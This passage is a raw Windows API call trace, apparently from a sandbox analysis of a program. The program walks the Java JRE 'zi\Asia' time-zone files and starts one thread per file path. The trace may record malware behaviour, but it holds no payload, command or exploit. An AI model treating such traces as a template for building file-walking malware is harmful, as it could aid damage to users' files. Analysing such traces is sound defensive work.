_Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kashgar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kashgar" [0158.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68 [0158.652] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kathmandu", cAlternateFileName="KATHMA~1")) returned 1 [0159.743] wcscmp (_String1="Kathmandu", _String2=".") returned 1 [0159.743] wcscmp (_String1="Kathmandu", _String2="..") returned 1 [0159.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8677c0 [0159.743] wcscpy (in: _Dest=0x1b8677c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.743] wcscat (in: _Dest=0x1b8677c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.743] wcscat (in: _Dest=0x1b8677c0, _Source="Kathmandu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu" [0159.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8677c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2864 [0159.747] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khandyga", cAlternateFileName="")) returned 1 [0159.747] wcscmp (_String1="Khandyga", _String2=".") returned 1 [0159.747] wcscmp (_String1="Khandyga", _String2="..") returned 1 [0159.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb77f0 [0159.747] wcscpy (in: _Dest=0x1cdb77f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.747] wcscat (in: _Dest=0x1cdb77f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.747] wcscat (in: _Dest=0x1cdb77f0, _Source="Khandyga" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Khandyga") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Khandyga" [0159.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb77f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2868 [0159.748] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kolkata", cAlternateFileName="")) returned 1 [0159.748] wcscmp (_String1="Kolkata", _String2=".") returned 1 [0159.748] wcscmp (_String1="Kolkata", _String2="..") returned 1 [0159.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb7870 [0159.748] wcscpy (in: _Dest=0x1cdb7870, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.748] wcscat (in: _Dest=0x1cdb7870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.748] wcscat (in: _Dest=0x1cdb7870, _Source="Kolkata" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kolkata") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kolkata" [0159.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x286c [0159.749] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Krasnoyarsk", cAlternateFileName="KRASNO~1")) returned 1 [0159.749] wcscmp (_String1="Krasnoyarsk", _String2=".") returned 1 [0159.749] wcscmp (_String1="Krasnoyarsk", _String2="..") returned 1 [0159.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cdb78f0 [0159.749] wcscpy (in: _Dest=0x1cdb78f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.749] wcscat (in: _Dest=0x1cdb78f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.749] wcscat (in: _Dest=0x1cdb78f0, _Source="Krasnoyarsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Krasnoyarsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Krasnoyarsk" [0159.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb78f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2870 [0159.750] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuala_Lumpur", cAlternateFileName="KUALA_~1")) returned 1 [0159.751] wcscmp (_String1="Kuala_Lumpur", _String2=".") returned 1 [0159.751] wcscmp (_String1="Kuala_Lumpur", _String2="..") returned 1 [0159.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb7970 [0159.751] wcscpy (in: _Dest=0x1cdb7970, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.751] wcscat (in: _Dest=0x1cdb7970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.751] wcscat (in: _Dest=0x1cdb7970, _Source="Kuala_Lumpur" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuala_Lumpur") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuala_Lumpur" [0159.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2874 [0159.751] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuching", cAlternateFileName="")) returned 1 [0159.751] wcscmp (_String1="Kuching", _String2=".") returned 1 [0159.751] wcscmp (_String1="Kuching", _String2="..") returned 1 [0159.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb79f0 [0159.752] wcscpy (in: _Dest=0x1cdb79f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.752] wcscat (in: _Dest=0x1cdb79f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.752] wcscat (in: _Dest=0x1cdb79f0, _Source="Kuching" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuching") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuching" [0159.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb79f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2878 [0159.753] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuwait", cAlternateFileName="")) returned 1 [0159.753] wcscmp (_String1="Kuwait", _String2=".") returned 1 [0159.753] wcscmp (_String1="Kuwait", _String2="..") returned 1 [0159.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1f70 [0159.753] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.753] wcscat (in: _Dest=0x1b7c1f70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.753] wcscat (in: _Dest=0x1b7c1f70, _Source="Kuwait" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuwait") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuwait" [0159.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x287c [0159.753] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macau", cAlternateFileName="")) returned 1 [0159.754] wcscmp (_String1="Macau", _String2=".") returned 1 [0159.754] wcscmp (_String1="Macau", _String2="..") returned 1 [0159.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c2130 [0159.754] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.754] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.754] wcscat (in: _Dest=0x1b7c2130, _Source="Macau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Macau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Macau" [0159.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c2130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2880 [0159.755] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magadan", cAlternateFileName="")) returned 1 [0159.755] wcscmp (_String1="Magadan", _String2=".") returned 1 [0159.755] wcscmp (_String1="Magadan", _String2="..") returned 1 [0159.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb7a70 [0159.755] wcscpy (in: _Dest=0x1cdb7a70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.755] wcscat (in: _Dest=0x1cdb7a70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.756] wcscat (in: _Dest=0x1cdb7a70, _Source="Magadan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan" [0159.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2884 [0159.756] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Makassar", cAlternateFileName="")) returned 1 [0159.756] wcscmp (_String1="Makassar", _String2=".") returned 1 [0159.756] wcscmp (_String1="Makassar", _String2="..") returned 1 [0159.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb7af0 [0159.757] wcscpy (in: _Dest=0x1cdb7af0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.757] wcscat (in: _Dest=0x1cdb7af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.757] wcscat (in: _Dest=0x1cdb7af0, _Source="Makassar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Makassar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Makassar" [0159.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2888 [0159.757] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manila", cAlternateFileName="")) returned 1 [0159.757] wcscmp (_String1="Manila", _String2=".") returned 1 [0159.757] wcscmp (_String1="Manila", _String2="..") returned 1 [0159.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c2520 [0159.758] wcscpy (in: _Dest=0x1b7c2520, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.758] wcscat (in: _Dest=0x1b7c2520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.758] wcscat (in: _Dest=0x1b7c2520, _Source="Manila" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Manila") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Manila" [0159.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c2520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288c [0159.758] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Muscat", cAlternateFileName="")) returned 1 [0159.758] wcscmp (_String1="Muscat", _String2=".") returned 1 [0159.758] wcscmp (_String1="Muscat", _String2="..") returned 1 [0159.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1e20 [0159.759] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.759] wcscat (in: _Dest=0x1b7c1e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.759] wcscat (in: _Dest=0x1b7c1e20, _Source="Muscat" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat" [0159.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2890 [0159.759] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nicosia", cAlternateFileName="")) returned 1 [0159.765] wcscmp (_String1="Nicosia", _String2=".") returned 1 [0159.765] wcscmp (_String1="Nicosia", _String2="..") returned 1 [0159.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb7b70 [0159.765] wcscpy (in: _Dest=0x1cdb7b70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.765] wcscat (in: _Dest=0x1cdb7b70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.765] wcscat (in: _Dest=0x1cdb7b70, _Source="Nicosia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Nicosia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Nicosia" [0159.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2894 [0159.766] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novokuznetsk", cAlternateFileName="NOVOKU~1")) returned 1 [0159.766] wcscmp (_String1="Novokuznetsk", _String2=".") returned 1 [0159.766] wcscmp (_String1="Novokuznetsk", _String2="..") returned 1 [0159.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb7bf0 [0159.766] wcscpy (in: _Dest=0x1cdb7bf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.766] wcscat (in: _Dest=0x1cdb7bf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.766] wcscat (in: _Dest=0x1cdb7bf0, _Source="Novokuznetsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novokuznetsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novokuznetsk" [0159.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2898 [0159.767] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novosibirsk", cAlternateFileName="NOVOSI~1")) returned 1 [0159.767] wcscmp (_String1="Novosibirsk", _String2=".") returned 1 [0159.767] wcscmp (_String1="Novosibirsk", _String2="..") returned 1 [0159.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cdb7c70 [0159.767] wcscpy (in: _Dest=0x1cdb7c70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.767] wcscat (in: _Dest=0x1cdb7c70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.767] wcscat (in: _Dest=0x1cdb7c70, _Source="Novosibirsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novosibirsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novosibirsk" [0159.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x289c [0159.768] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Omsk", cAlternateFileName="")) returned 1 [0159.768] wcscmp (_String1="Omsk", _String2=".") returned 1 